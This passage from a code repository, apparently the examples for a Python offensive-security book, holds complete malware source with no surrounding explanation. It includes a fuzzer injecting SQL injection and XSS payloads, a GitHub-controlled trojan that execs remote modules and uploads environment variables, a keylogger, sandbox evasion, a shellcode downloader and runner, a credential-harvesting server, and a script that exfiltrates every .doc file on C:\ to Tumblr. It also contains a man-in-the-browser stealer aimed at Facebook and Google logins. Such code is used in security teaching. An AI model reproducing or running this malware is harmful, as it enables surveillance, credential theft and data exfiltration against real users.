registerExtenderCallbacks(self, callbacks): 10 | self._callbacks = callbacks 11 | self._helpers = callbacks.getHelpers() 12 | callbacks.registerIntruderPayloadGeneratorFactory(self) 13 | return 14 | 15 | @staticmethod 16 | def getGeneratorName(): 17 | return "BHP Payload Generator" 18 | 19 | def createNewInstance(self, attack): 20 | return BHPFuzzer(self, attack) 21 | 22 | 23 | class BHPFuzzer(IIntruderPayloadGenerator): 24 | def __init__(self, extender, attack): 25 | self._extender = extender 26 | self._helpers = extender._helpers 27 | self._attack = attack 28 | print("BHP Fuzzer initialized") 29 | self.max_payloads = 1000 30 | self.num_payloads = 0 31 | 32 | return 33 | 34 | def hasMorePayloads(self): 35 | print("hasMorePayloads called.") 36 | if self.num_payloads == self.max_payloads: 37 | print("No more payloads.") 38 | return False 39 | else: 40 | print("More payloads. Continuing.") 41 | return True 42 | 43 | def getNextPayload(self, current_payload): 44 | 45 | # convert into a string 46 | payload = "".join(chr(x) for x in current_payload) 47 | 48 | # call our simple mutator to fuzz the POST 49 | payload = self.mutate_payload(payload) 50 | 51 | # increase the number of fuzzing attempts 52 | self.num_payloads += 1 53 | return payload 54 | 55 | def reset(self): 56 | self.num_payloads = 0 57 | return 58 | 59 | @staticmethod 60 | def mutate_payload(original_payload): 61 | # pick a simple mutator or even call an external script 62 | # like Radamsa does 63 | picker = random.randint(1, 3) 64 | 65 | # select a random offset in the payload to mutate 66 | offset = random.randint(0, len(original_payload) - 1) 67 | payload = original_payload[:offset] 68 | 69 | # random offset insert a SQL injection attempt 70 | if picker == 1: 71 | payload += "'" 72 | 73 | # jam an XSS attempt in 74 | if picker == 2: 75 | payload += "" 76 | 77 | # repeat a chunk of the original payload a random number 78 | if picker == 3: 79 | chunk_length = random.randint(len(payload[offset:]), 80 | len(payload) - 1) 81 | repeater = random.randint(1, 10) 82 | for i in range(repeater): 83 | payload += original_payload[offset:offset + chunk_length] 84 | 85 | # add the remaining bits of the payload 86 | payload += original_payload[offset:] 87 | return payload 88 | -------------------------------------------------------------------------------- /chapter06/bhp_wordlist.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | from burp import IBurpExtender 4 | from burp import IContextMenuFactory 5 | from javax.swing import JMenuItem 6 | from java.util import List, ArrayList 7 | from java.net import URL 8 | import re 9 | from datetime import datetime 10 | from html.parser import HTMLParser 11 | 12 | 13 | class TagStripper(HTMLParser): 14 | def __init__(self): 15 | HTMLParser.__init__(self) 16 | self.page_text = [] 17 | 18 | def handle_data(self, data): 19 | self.page_text.append(data) 20 | 21 | def handle_comment(self, data): 22 | self.handle_data(data) 23 | 24 | def strip(self, html): 25 | self.feed(html) 26 | return " ".join(self.page_text) 27 | 28 | 29 | class BurpExtender(IBurpExtender, IContextMenuFactory): 30 | def registerExtenderCallbacks(self, callbacks): 31 | self._callbacks = callbacks 32 | self._helpers = callbacks.getHelpers() 33 | self.context = None 34 | self.hosts = set() 35 | 36 | # start with something we know is common 37 | self.wordlist = {"password"} 38 | 39 | # we set up our extension 40 | callbacks.setExtensionName("BHP Wordlist") 41 | callbacks.registerContextMenuFactory(self) 42 | return 43 | 44 | def createMenuItems(self, context_menu): 45 | self.context = context_menu 46 | menu_list = ArrayList() 47 | menu_list.add(JMenuItem("Create Wordlist", 48 | actionPerformed=self.wordlist_menu)) 49 | return menu_list 50 | 51 | def wordlist_menu(self, event): 52 | # grab the details of what the user clicked 53 | http_traffic = self.context.getSelectedMessages() 54 | 55 | for traffic in http_traffic: 56 | http_service = traffic.getHttpService() 57 | host = http_service.getHost() 58 | self.hosts.add(host) 59 | http_response = traffic.getResponse() 60 | if http_response: 61 | self.get_words(http_response) 62 | self.display_wordlist() 63 | return 64 | 65 | def get_words(self, http_response): 66 | headers, body = http_response.tostring().split('\r\n\r\n', 1) 67 | 68 | # skip non-text responses 69 | if headers.lower().find("content-type: text") == -1: 70 | return 71 | 72 | tag_stripper = TagStripper() 73 | page_text = tag_stripper.strip(body) 74 | words = re.findall(r'[a-zA-Z]\w{2,}', page_text) 75 | 76 | for word in words: 77 | # filter out long strings 78 | if len(word) <= 12: 79 | self.wordlist.add(word.lower()) 80 | return 81 | 82 | @staticmethod 83 | def mangle(word): 84 | year = datetime.now().year 85 | suffixes = ["", "1", "!", year] 86 | mangled = [] 87 | for password in (word, word.capitalize()): 88 | for suffix in suffixes: 89 | mangled.append("%s%s" % (password, suffix)) 90 | return mangled 91 | 92 | def display_wordlist(self): 93 | print("# BHP Wordlist for site(s) %s" % ", ".join(self.hosts)) 94 | for word in sorted(self.wordlist): 95 | for password in self.mangle(word): 96 | print(password) 97 | return 98 | -------------------------------------------------------------------------------- /chapter06/jython-standalone-2.7.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EONRaider/blackhat-python3/ae7c3e240fb0b275b9e14c04a7dea733b96faad0/chapter06/jython-standalone-2.7.2.jar -------------------------------------------------------------------------------- /chapter07/config/abc.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "module": "dirlister" 4 | }, 5 | { 6 | "module": "environment" 7 | } 8 | ] -------------------------------------------------------------------------------- /chapter07/git_trojan.py: -------------------------------------------------------------------------------- 1 | import json 2 | import base64 3 | import sys 4 | import time 5 | import types 6 | import random 7 | import threading 8 | import queue 9 | from github3 import login 10 | 11 | trojan_id = "abc" 12 | trojan_config = "config/{}.json".format(trojan_id) 13 | data_path = "data/{}/".format(trojan_id) 14 | trojan_modules = [] 15 | configured = False 16 | task_queue = queue.Queue() 17 | 18 | 19 | class GitImporter(object): 20 | def __init__(self): 21 | self.current_module_code = "" 22 | 23 | def find_module(self, fullname, path=None): 24 | if configured: 25 | print("[*] Attempting to retrieve %s" % fullname) 26 | new_library = get_file_contents("modules/%s" % fullname) 27 | if new_library: 28 | self.current_module_code = base64.b64decode(new_library) 29 | return self 30 | return None 31 | 32 | def load_module(self, name): 33 | module = types.ModuleType(name) 34 | exec(self.current_module_code, module.__dict__) 35 | sys.modules[name] = module 36 | return module 37 | 38 | 39 | def connect_to_github(): 40 | """ You can replace the password in the call to login() below for an 41 | access token generated by GitHub if your account uses 2FA for access 42 | (as it should). Easy-to-follow instructions on how to generate this 43 | token can be found here: 44 | https://help.github.com/en/github/authenticating-to-github/ 45 | creating-a-personal-access-token-for-the-command-line 46 | 47 | If you choose to use the token, simply replace the 'password' 48 | attribute for 'token' below and paste the token generated by 49 | GitHub as a value instead of 'YourPassword'. The code should be: 50 | gh = login(username="YourUsername", token="YourToken") 51 | """ 52 | gh = login(username="YourUsername", password="YourPassword") 53 | repo = gh.repository("YourUsername", "RepositoryName") 54 | branch = repo.branch("master") 55 | return gh, repo, branch 56 | 57 | 58 | def get_file_contents(filepath): 59 | gh, repo, branch = connect_to_github() 60 | tree = branch.commit.commit.tree.to_tree().recurse() 61 | for filename in tree.tree: 62 | if filepath in filename.path: 63 | print("[*] Found file %s" % filepath) 64 | blob = repo.blob(filename._json_data['sha']) 65 | return blob.content 66 | return None 67 | 68 | 69 | def get_trojan_config(): 70 | global configured 71 | config_json = get_file_contents(trojan_config) 72 | configuration = json.loads(base64.b64decode(config_json)) 73 | configured = True 74 | 75 | for tasks in configuration: 76 | if tasks['module'] not in sys.modules: 77 | exec("import %s" % tasks['module']) 78 | 79 | return configuration 80 | 81 | 82 | def store_module_result(data): 83 | gh, repo, branch = connect_to_github() 84 | remote_path = "data/%s/%d.data" % (trojan_id, random.randint(1000, 100000)) 85 | repo.create_file(remote_path, "Commit message", data.encode()) 86 | return 87 | 88 | 89 | def module_runner(module): 90 | task_queue.put(1) 91 | result = sys.modules[module].run() 92 | task_queue.get() 93 | 94 | # store the result in our repo 95 | store_module_result(result) 96 | return 97 | 98 | 99 | # main trojan loop 100 | sys.meta_path = [GitImporter()] 101 | 102 | while True: 103 | if task_queue.empty(): 104 | config = get_trojan_config() 105 | for task in config: 106 | t = threading.Thread(target=module_runner, args=(task['module'],)) 107 | t.start() 108 | time.sleep(random.randint(1, 10)) 109 | time.sleep(random.randint(1000, 10000)) 110 | -------------------------------------------------------------------------------- /chapter07/modules/dirlister.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | def run(): 5 | print("[*] In dirlister module.") 6 | files = os.listdir(".") 7 | 8 | return str(files) 9 | -------------------------------------------------------------------------------- /chapter07/modules/environment.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | def run(): 5 | print("[*] In environment module.") 6 | return str(os.environ) 7 | -------------------------------------------------------------------------------- /chapter08/keylogger.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | import pythoncom 3 | import pyHook 4 | import win32clipboard 5 | 6 | user32 = windll.user32 7 | kernel32 = windll.kernel32 8 | psapi = windll.psapi 9 | current_window = None 10 | 11 | 12 | def get_current_process(): 13 | # get a handle to the foreground window 14 | hwnd = user32.GetForegroundWindow() 15 | 16 | # find the process ID 17 | pid = c_ulong(0) 18 | user32.GetWindowThreadProcessId(hwnd, byref(pid)) 19 | 20 | # store the current process ID 21 | process_id = "%d" % pid.value 22 | 23 | # grab the executable 24 | executable = create_string_buffer(b'\x00' * 512) 25 | h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) 26 | 27 | psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512) 28 | 29 | # now read it's title 30 | window_title = create_string_buffer(b'\x00' * 512) 31 | length = user32.GetWindowTextA(hwnd, byref(window_title), 512) 32 | 33 | # print out the header if we're in the right process 34 | print() 35 | print("[ PID: %s - %s - %s ]" % (process_id, 36 | executable.value, 37 | window_title.value) 38 | ) 39 | print() 40 | 41 | # close handles 42 | kernel32.CloseHandle(hwnd) 43 | kernel32.CloseHandle(h_process) 44 | 45 | 46 | def KeyStroke(event): 47 | global current_window 48 | 49 | # check to see if target changed windows 50 | if event.WindowName != current_window: 51 | current_window = event.WindowName 52 | get_current_process() 53 | 54 | # if they pressed a standard key 55 | if 32 < event.Ascii < 127: 56 | print(chr(event.Ascii), end=' ') 57 | else: 58 | # if [Ctrl-V], get the value on the clipboard 59 | # added by Dan Frisch 2014 60 | if event.Key == "V": 61 | win32clipboard.OpenClipboard() 62 | pasted_value = win32clipboard.GetClipboardData() 63 | win32clipboard.CloseClipboard() 64 | print("[PASTE] - %s" % pasted_value, end=' ') 65 | else: 66 | print("[%s]" % event.Key, end=' ') 67 | 68 | # pass execution to next hook registered 69 | return True 70 | 71 | 72 | # create and register a hook manager 73 | kl = pyHook.HookManager() 74 | kl.KeyDown = KeyStroke 75 | 76 | # register the hook and execute forever 77 | kl.HookKeyboard() 78 | pythoncom.PumpMessages() 79 | -------------------------------------------------------------------------------- /chapter08/pyWinhook-1.6.2-cp38-cp38-win_amd64.whl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EONRaider/blackhat-python3/ae7c3e240fb0b275b9e14c04a7dea733b96faad0/chapter08/pyWinhook-1.6.2-cp38-cp38-win_amd64.whl -------------------------------------------------------------------------------- /chapter08/sandbox_detect.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | import random 3 | import time 4 | import sys 5 | 6 | user32 = ctypes.windll.user32 7 | kernel32 = ctypes.windll.kernel32 8 | 9 | keystrokes = 0 10 | mouse_clicks = 0 11 | double_clicks = 0 12 | 13 | 14 | class LASTINPUTINFO(ctypes.Structure): 15 | _fields_ = [("cbSize", ctypes.c_uint), ("dwTime", ctypes.c_ulong)] 16 | 17 | 18 | def get_last_input(): 19 | struct_lastinputinfo = LASTINPUTINFO() 20 | struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO) 21 | 22 | # get last input registered 23 | user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo)) 24 | 25 | # now determine how long the machine has been running 26 | run_time = kernel32.GetTickCount() 27 | elapsed = run_time - struct_lastinputinfo.dwTime 28 | print("[*] It's been %d milliseconds since the last input event." % elapsed) 29 | return elapsed 30 | 31 | 32 | def get_key_press(): 33 | global mouse_clicks 34 | global keystrokes 35 | 36 | for i in range(0, 0xff): 37 | if user32.GetAsyncKeyState(i) == -32767: 38 | # 0x1 is the code for a left mouse click 39 | if i == 1: 40 | mouse_clicks += 1 41 | return time.time() 42 | else: 43 | keystrokes += 1 44 | return None 45 | 46 | 47 | def detect_sandbox(): 48 | global mouse_clicks 49 | global keystrokes 50 | 51 | max_keystrokes = random.randint(10, 25) 52 | max_mouse_clicks = random.randint(5, 25) 53 | 54 | double_clicks = 0 55 | max_double_clicks = 10 56 | double_click_threshold = 0.250 57 | first_double_click = None 58 | 59 | average_mousetime = 0 60 | max_input_threshold = 30000 61 | 62 | previous_timestamp = None 63 | detection_complete = False 64 | 65 | last_input = get_last_input() 66 | 67 | # if we hit our threshold let's bail out 68 | if last_input >= max_input_threshold: 69 | sys.exit(0) 70 | 71 | while not detection_complete: 72 | keypress_time = get_key_press() 73 | if keypress_time is not None and previous_timestamp is not None: 74 | 75 | # calculate the time between double clicks 76 | elapsed = keypress_time - previous_timestamp 77 | 78 | # the user double clicked 79 | if elapsed <= double_click_threshold: 80 | double_clicks += 1 81 | 82 | if first_double_click is None: 83 | 84 | # grab the timestamp of the first double click 85 | first_double_click = time.time() 86 | 87 | else: 88 | # did they try to emulate a rapid succession of clicks? 89 | if double_clicks == max_double_clicks: 90 | if keypress_time - first_double_click <= ( 91 | max_double_clicks * double_click_threshold): 92 | sys.exit(0) 93 | 94 | # we are happy there's enough user input 95 | if keystrokes >= max_keystrokes \ 96 | and double_clicks >= max_double_clicks \ 97 | and mouse_clicks >= max_mouse_clicks: 98 | return 99 | previous_timestamp = keypress_time 100 | 101 | elif keypress_time is not None: 102 | previous_timestamp = keypress_time 103 | 104 | 105 | detect_sandbox() 106 | print("We are ok!") 107 | -------------------------------------------------------------------------------- /chapter08/screenshotter.py: -------------------------------------------------------------------------------- 1 | import win32gui 2 | import win32ui 3 | import win32con 4 | import win32api 5 | 6 | # grab a handle to the main desktop window 7 | hdesktop = win32gui.GetDesktopWindow() 8 | 9 | # determine the size of all monitors in pixels 10 | width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) 11 | height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) 12 | left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) 13 | top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) 14 | 15 | # create a device context 16 | desktop_dc = win32gui.GetWindowDC(hdesktop) 17 | img_dc = win32ui.CreateDCFromHandle(desktop_dc) 18 | 19 | # create a memory based device context 20 | mem_dc = img_dc.CreateCompatibleDC() 21 | 22 | # create a bitmap object 23 | screenshot = win32ui.CreateBitmap() 24 | screenshot.CreateCompatibleBitmap(img_dc, width, height) 25 | mem_dc.SelectObject(screenshot) 26 | 27 | # copy the screen into our memory device context 28 | mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) 29 | 30 | # save the bitmap to a file 31 | screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp') 32 | 33 | # free our objects 34 | mem_dc.DeleteDC() 35 | win32gui.DeleteObject(screenshot.GetHandle()) 36 | -------------------------------------------------------------------------------- /chapter08/shell_exec.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import ctypes 3 | import urllib.request 4 | 5 | # retrieve the shellcode from our web server 6 | url = "http://localhost:8000/shellcode.bin" 7 | response = urllib.request.urlopen(url) 8 | 9 | # decode the shellcode from base64 10 | shellcode = base64.b64decode(response.read()) 11 | 12 | # create a buffer in memory 13 | shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode)) 14 | 15 | # create a function pointer to our shellcode 16 | shellcode_func = ctypes.cast(shellcode_buffer, 17 | ctypes.CFUNCTYPE(ctypes.c_void_p)) 18 | 19 | # call our shellcode 20 | shellcode_func() 21 | -------------------------------------------------------------------------------- /chapter09/cred_server.py: -------------------------------------------------------------------------------- 1 | import http.server 2 | import socketserver 3 | import urllib.error 4 | import urllib.parse 5 | import urllib.request 6 | 7 | 8 | class CredRequestHandler(http.server.SimpleHTTPRequestHandler): 9 | def do_POST(self): 10 | content_length = int(self.headers['Content-Length']) 11 | creds = self.rfile.read(content_length).decode('utf-8') 12 | print(creds) 13 | site = self.path[1:] 14 | self.send_response(301) 15 | self.send_header('Location', urllib.parse.unquote(site)) 16 | self.end_headers() 17 | 18 | 19 | server = socketserver.TCPServer(('0.0.0.0', 8080), CredRequestHandler) 20 | server.serve_forever() 21 | -------------------------------------------------------------------------------- /chapter09/decryptor.py: -------------------------------------------------------------------------------- 1 | import zlib 2 | import base64 3 | from Crypto.PublicKey import RSA 4 | from Crypto.Cipher import PKCS1_OAEP 5 | 6 | encrypted = """XxfaX7nfQ48K+l0rXM3tQf3ShFcytAQ4sLe6vn8bWdreho4riaJ5Dy5PeijSKbsgWSMoeZLmihxb0YAFgCaIp11AUl4kmIiY+c+8LJonbTTembxv98GePM1SEme5/vMwGORJilw+rTdORSHzwbC56sw5NG8KosgLWwHEGEGbhii2qBkuyQrIc9ydoOKKCe0ofTRnaI2c/lb9Ot3vkEIgxCks94H6qVkAfhO34HS7nClUldn9UN040RYgtEqBgvAFzoEhDuRtfjJu1dzyzaFtRAVhcQ6HdgZMWRfpaxKQOmbhXwYyGRQfwNl/Rwgn1EJBFAhvIaEifHDlCw+hLViNYlae7IdfIb6hWtWPyFrkaNjmkbhhXclNgZe0+iPPDzsZbpHI1IckG0gVlTdlGKGz+nK5Cxyso41icC4gO7tmdXDGgF6bMt/GC1VjMVmL/rYsb8jzJblmuQBAeFNacyhjxrzIH5v60RQ1BxwfD+wLCKfyzn3vQucPak2cnwBs3yTIEShYj0ymP4idU/5Qt5qkqMDyvO4U8DmqB4KT58+o2B3c88+lUZjz7c9ygwKjp2hSNf+Dm9H3YJY2Pn6YlydyT1sYWCy06DZko7z3uae5GYGjez8hnCIFt+mpeLvEelSHeZfyV8wYyHg5Y9eA2NZNX6yNVD8IREhjXGWdbGTn41lVCqEiCetY9SKdWeL1Hp/vJN3SOo4qglbQF7P6oqqg0bofnAcphLVaHw/FOGWtW1CFEQUQdIg9bk+SJqM/s1ozJlisenrRzxv3L5LthEfLflCafK0u3n2gPa4F3ok4tx9i+r+MykRTw+OksMfVu71CAMuJdrFQLMSpyWkQ86Vc/QIXgdoCKkAYx5xr/U8gDXkZ4GvL9biEZv/fb5Wh7Br1Hu6idUgTYpEJVVnMuI13ePGeJLA54Il2S7aDyrgfhb61WQmoMRGvLP7uxCjgLwrxZNjAYJTmXszLvvgmI+lHe5o8rgQw6zSGpl9k27urV4bA0Zt+PsYiLNbEQqqxrJxKcbKqozl8XtfMXanct9pKu4vaq8fH/j9jvZ133UtcaR5iTQ0K7P4J5Qoaxz3uUhGrgplZ1jE9Nr0iyRj722dW82b4m1f/h80K7EuvwEeOfdYZl7iFL8yRi9dfopwATjKbKrWFroGCb/wvpc5ujpzDfwAeWsSU4Nve2qBDo5coVt1GI8rzHUh52TQ007JhcYABIxZGSFeeJ3bFgvqO2kUK/Pc36Au0VlNFds/j+fIuMlmFUuckBLCTpE2W9hYqmVOWBmyeZPJNzVI4gLexFbXbg8+0Eq6Pa4MxZsR3wypgC9LE/dvLbQ3oSn9x7nKMXpdq9r+xK1sjodpeYNz7t/5GpFu1teN0SFbmsoXjVEyOAn3L5Gd4Wxua7y9xOixc1H2/bbyNqJZAjEm34DDmNRTQtrqCwOEXwFGKgRGUzPYGC74wAPDDTaQEBv7Toc7rfkzgRX4ROW0SUaEPmi5tAlXe+CKVdJGtLKXUXYRHLMZ4jTzGsD89dmt2r2Fh6AUUN2e9jzzK2ULMnMhRUnDdcM74jbuDHGtXt56pFxFKJ21FQFS8JK0ZOqYa+0JjLuSzrLN9gSCu/JuTPC60LTxLsLcWZVR7cIHQE+sgDtt40/6O1YE7/8rs6qB9re28gDY1s9R5HFtjowO3ylRWqlaV9MC1OGzM4xHPxG2V+2zuq6ol8Cs=""" 7 | 8 | private_key = """-----BEGIN RSA PRIVATE KEY----- 9 | MIIEpAIBAAKCAQEAyXUTgFoL/2EPKoN31l5Tlak7VxhdusNCWQKDfcN5Jj45GQ1o 10 | ZZjsECQ8jK5AaQuCWdmEQkgCEV23L2y71G+Th/zlVPjp0hgC6nOKOuwmlQ1jGvfV 11 | vaNZ0YXrs+sX/wg5FT/bTS4yzXeW6920tdls2N7Pu5N1FLRW5PMhk6GW5rzVhwdD 12 | vnfaUoSVj7oKaIMLbN/TENvnwhZZKlTZeK79ix4qXwYLe66CrgCHDf4oBJ/nO1oY 13 | welxuIXVPhIZnVpkbz3IL6BfEZ3ZDKzGeRs6YLZuR2u5KUbr9uabEzgtrLyOeoK8 14 | UscKmzOvtwxZDcgNijqMJKuqpNZczPHmf9cS1wIDAQABAoIBAAdOiMOKAI9lrNAk 15 | 7o7G4w81kSJqjtO8S0bBMZW5Jka90QJYmyW8MyuutMeBdnKY6URrAEILLJAGryM4 16 | NWPSHC69fG/li02Ec26ffC8A67FSR/rtbEIxj4tq6Q6gg0FLwg5EP6b/+vW61a1+ 17 | YBSMa0c+ZZhvE7sJg3FQZDJflQKPXFHYxOlS42+UyUP8K07cFznsQCvia9mCHUG6 18 | BDFbV/yjbMyYgKTCVmMeaCS2K0TlbcyGpF0Bz95mVpkrU6pHXY0UAJIv4dyguywe 19 | dBZcJlruSRL0OJ+3Gb3CJS7YdsPW807LSyf8gcrHMpgV5z2CdGlaoaLBJyS/nDHi 20 | n07PIbECgYEA4Rjlet1xL/Sr9HnHVUH0m1iST0SrLlQCzrMkiw4g5rCOCnhWPNQE 21 | dpnRpgUWMhhyZj82SwigkdXC2GpvBP6GDg9pB3Njs8qkwEsGI8GFhUQfKf8Bnnd2 22 | w3GUHiRoJpVxrrE3byh23pUiHBdbp7h2+EaOTrRsc2w3Q4NbNF+FOOkCgYEA5R1Z 23 | KvuKn1Sq+0EWpb8fZB+PTwK60qObRENbLdnbmGrVwjNxiBWE4BausHMr0Bz/cQzk 24 | tDyohkHx8clp6Qt+hRFd5CXXNidaelkCDLZ7dasddXm1bmIlTIHjWWSsUEsgUTh7 25 | crjVvghU2Sqs/vCLJCW6WYGb9JD2BI5R9pOClb8CgYEAlsOtGBDvebY/4fwaxYDq 26 | i43UWSFeIiaExtr30+c/pCOGz35wDEfZQXKfF7p6dk0nelJGVBVQLr1kxrzq5QZw 27 | 1UP/Dc18bvSASoc1codwnaTV1rQE6pWLRzZwhYvO8mDQBriNr3cDvutWMEh4zCpi 28 | DMJ9GDwCE4DctuxpDvgXa9kCgYEAuxNjo30Qi1iO4+kZnOyZrR833MPV1/hO50Y4 29 | RRAGBkX1lER9ByjK/k6HBPyFYcDLsntcou6EjFt8OnjDSc5g2DZ9+7QKLeWkMxJK 30 | Yib+V+4Id8uRIThyTC4ifPN+33D4SllcMyhJHome/lOiPegbNMC5kCwMM33J455x 31 | vmxjy/ECgYAOrFR7A9fP4QlPqFCQKDio/FhoQy5ERpl94lGozk4Ma+QDJiRUxA3N 32 | GomBPAvYGntvGgPWrsEHrS01ZoOKGBfk5MgubSPFVI00BD6lccmff/0tOxYtb+Pp 33 | vOGHt9D9yo3DOhyvJbedpi3u3g13G+FZFw6d1T8Jzm5eZUvG7WeUtg== 34 | -----END RSA PRIVATE KEY-----""" 35 | 36 | rsakey = RSA.importKey(private_key) 37 | rsakey = PKCS1_OAEP.new(rsakey) 38 | 39 | offset = 0 40 | decrypted = "" 41 | encrypted = base64.b64decode(encrypted) 42 | 43 | while offset < len(encrypted): 44 | decrypted += rsakey.decrypt(encrypted[offset:offset + 256]) 45 | offset += 256 46 | 47 | # now we decompress to original 48 | plaintext = zlib.decompress(decrypted) 49 | 50 | print(plaintext) 51 | -------------------------------------------------------------------------------- /chapter09/ie_exfil.py: -------------------------------------------------------------------------------- 1 | import win32com.client 2 | import os 3 | import fnmatch 4 | import time 5 | import random 6 | import zlib 7 | import base64 8 | 9 | from Crypto.PublicKey import RSA 10 | from Crypto.Cipher import PKCS1_OAEP 11 | 12 | doc_type = ".doc" 13 | username = "test@test.com" 14 | password = "testpassword" 15 | 16 | public_key = """-----BEGIN PUBLIC KEY----- 17 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyXUTgFoL/2EPKoN31l5T 18 | lak7VxhdusNCWQKDfcN5Jj45GQ1oZZjsECQ8jK5AaQuCWdmEQkgCEV23L2y71G+T 19 | h/zlVPjp0hgC6nOKOuwmlQ1jGvfVvaNZ0YXrs+sX/wg5FT/bTS4yzXeW6920tdls 20 | 2N7Pu5N1FLRW5PMhk6GW5rzVhwdDvnfaUoSVj7oKaIMLbN/TENvnwhZZKlTZeK79 21 | ix4qXwYLe66CrgCHDf4oBJ/nO1oYwelxuIXVPhIZnVpkbz3IL6BfEZ3ZDKzGeRs6 22 | YLZuR2u5KUbr9uabEzgtrLyOeoK8UscKmzOvtwxZDcgNijqMJKuqpNZczPHmf9cS 23 | 1wIDAQAB 24 | -----END PUBLIC KEY-----""" 25 | 26 | 27 | def wait_for_browser(browser): 28 | # wait for the browser to finish loading a page 29 | while browser.ReadyState != 4 and browser.ReadyState != "complete": 30 | time.sleep(0.1) 31 | return 32 | 33 | 34 | def encrypt_string(plaintext): 35 | chunk_size = 208 36 | if isinstance(plaintext, (str)): 37 | plaintext = plaintext.encode() 38 | print("Compressing: %d bytes" % len(plaintext)) 39 | plaintext = zlib.compress(plaintext) 40 | print("Encrypting %d bytes" % len(plaintext)) 41 | 42 | rsakey = RSA.importKey(public_key) 43 | rsakey = PKCS1_OAEP.new(rsakey) 44 | encrypted = b"" 45 | offset = 0 46 | 47 | while offset < len(plaintext): 48 | chunk = plaintext[offset:offset + chunk_size] 49 | if len(chunk) % chunk_size != 0: 50 | chunk += b" " * (chunk_size - len(chunk)) 51 | encrypted += rsakey.encrypt(chunk) 52 | offset += chunk_size 53 | 54 | encrypted = base64.b64encode(encrypted) 55 | print("Base64 encoded crypto: %d" % len(encrypted)) 56 | return encrypted 57 | 58 | 59 | def encrypt_post(filename): 60 | # open and read the file 61 | fd = open(filename, "rb") 62 | contents = fd.read() 63 | fd.close() 64 | 65 | encrypted_title = encrypt_string(filename) 66 | encrypted_body = encrypt_string(contents) 67 | 68 | return encrypted_title, encrypted_body 69 | 70 | 71 | def random_sleep(): 72 | time.sleep(random.randint(5, 10)) 73 | return 74 | 75 | 76 | def login_to_tumblr(ie): 77 | # retrieve all elements in the document 78 | full_doc = ie.Document.all 79 | 80 | # iterate looking for the logout form 81 | for i in full_doc: 82 | if i.id == "signup_email": 83 | i.setAttribute("value", username) 84 | elif i.id == "signup_password": 85 | i.setAttribute("value", password) 86 | 87 | random_sleep() 88 | 89 | # you can be presented with different homepages 90 | try: 91 | if ie.Document.forms[0].id == "signup_form": 92 | ie.Document.forms[0].submit() 93 | else: 94 | ie.Document.forms[1].submit() 95 | except IndexError: 96 | pass 97 | 98 | random_sleep() 99 | 100 | # the login form is the second form on the page 101 | wait_for_browser(ie) 102 | return 103 | 104 | 105 | def post_to_tumblr(ie, title, post): 106 | full_doc = ie.Document.all 107 | 108 | for i in full_doc: 109 | if i.id == "post_one": 110 | i.setAttribute("value", title) 111 | title_box = i 112 | i.focus() 113 | elif i.id == "post_two": 114 | i.setAttribute("innerHTML", post) 115 | print("Set text area") 116 | i.focus() 117 | elif i.id == "create_post": 118 | print("Found post button") 119 | post_form = i 120 | i.focus() 121 | 122 | # move focus away from the main content box 123 | random_sleep() 124 | title_box.focus() 125 | random_sleep() 126 | 127 | # post the form 128 | post_form.children[0].click() 129 | wait_for_browser(ie) 130 | 131 | random_sleep() 132 | return 133 | 134 | 135 | def exfiltrate(document_path): 136 | ie = win32com.client.Dispatch("InternetExplorer.Application") 137 | ie.Visible = 1 138 | 139 | # head to tumblr and login 140 | ie.Navigate("http://www.tumblr.com/login") 141 | wait_for_browser(ie) 142 | 143 | print("Logging in...") 144 | login_to_tumblr(ie) 145 | print("Logged in...navigating") 146 | 147 | ie.Navigate("https://www.tumblr.com/new/text") 148 | wait_for_browser(ie) 149 | 150 | # encrypt the file 151 | title, body = encrypt_post(document_path) 152 | 153 | print("Creating new post...") 154 | post_to_tumblr(ie, title, body) 155 | print("Posted!") 156 | 157 | # Destroy the IE instance 158 | ie.Quit() 159 | ie = None 160 | 161 | return 162 | 163 | 164 | # main loop for document discovery 165 | for parent, directories, filenames in os.walk("C:\\"): 166 | for filename in fnmatch.filter(filenames, "*%s" % doc_type): 167 | document_path = os.path.join(parent, filename) 168 | print("Found: %s" % document_path) 169 | exfiltrate(document_path) 170 | input("Continue?") 171 | -------------------------------------------------------------------------------- /chapter09/keygen.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | 3 | 4 | new_key = RSA.generate(2048) 5 | 6 | public_key = new_key.publickey().exportKey("PEM") 7 | private_key = new_key.exportKey("PEM") 8 | 9 | print(public_key) 10 | print(private_key) 11 | -------------------------------------------------------------------------------- /chapter09/mitb.py: -------------------------------------------------------------------------------- 1 | import time 2 | import urllib.parse 3 | import win32com.client 4 | 5 | data_receiver = "http://localhost:8080/" 6 | 7 | target_sites = { 8 | "www.facebook.com": 9 | { 10 | "logout_url": None, 11 | "logout_form": "logout_form", 12 | "login_form_index": 0, 13 | "owned": False 14 | }, 15 | "accounts.google.com": 16 | { 17 | "logout_url": "https://accounts.google.com/Logout?hl=en&continue=" 18 | "https://accounts.google.com/" 19 | "ServiceLogin%3Fservice%3Dmail", 20 | "logout_form": None, 21 | "login_form_index": 0, 22 | "owned": False 23 | } 24 | } 25 | 26 | target_sites["www.gmail.com"] = target_sites["accounts.google.com"] 27 | target_sites["mail.google.com"] = target_sites["accounts.google.com"] 28 | 29 | clsid = 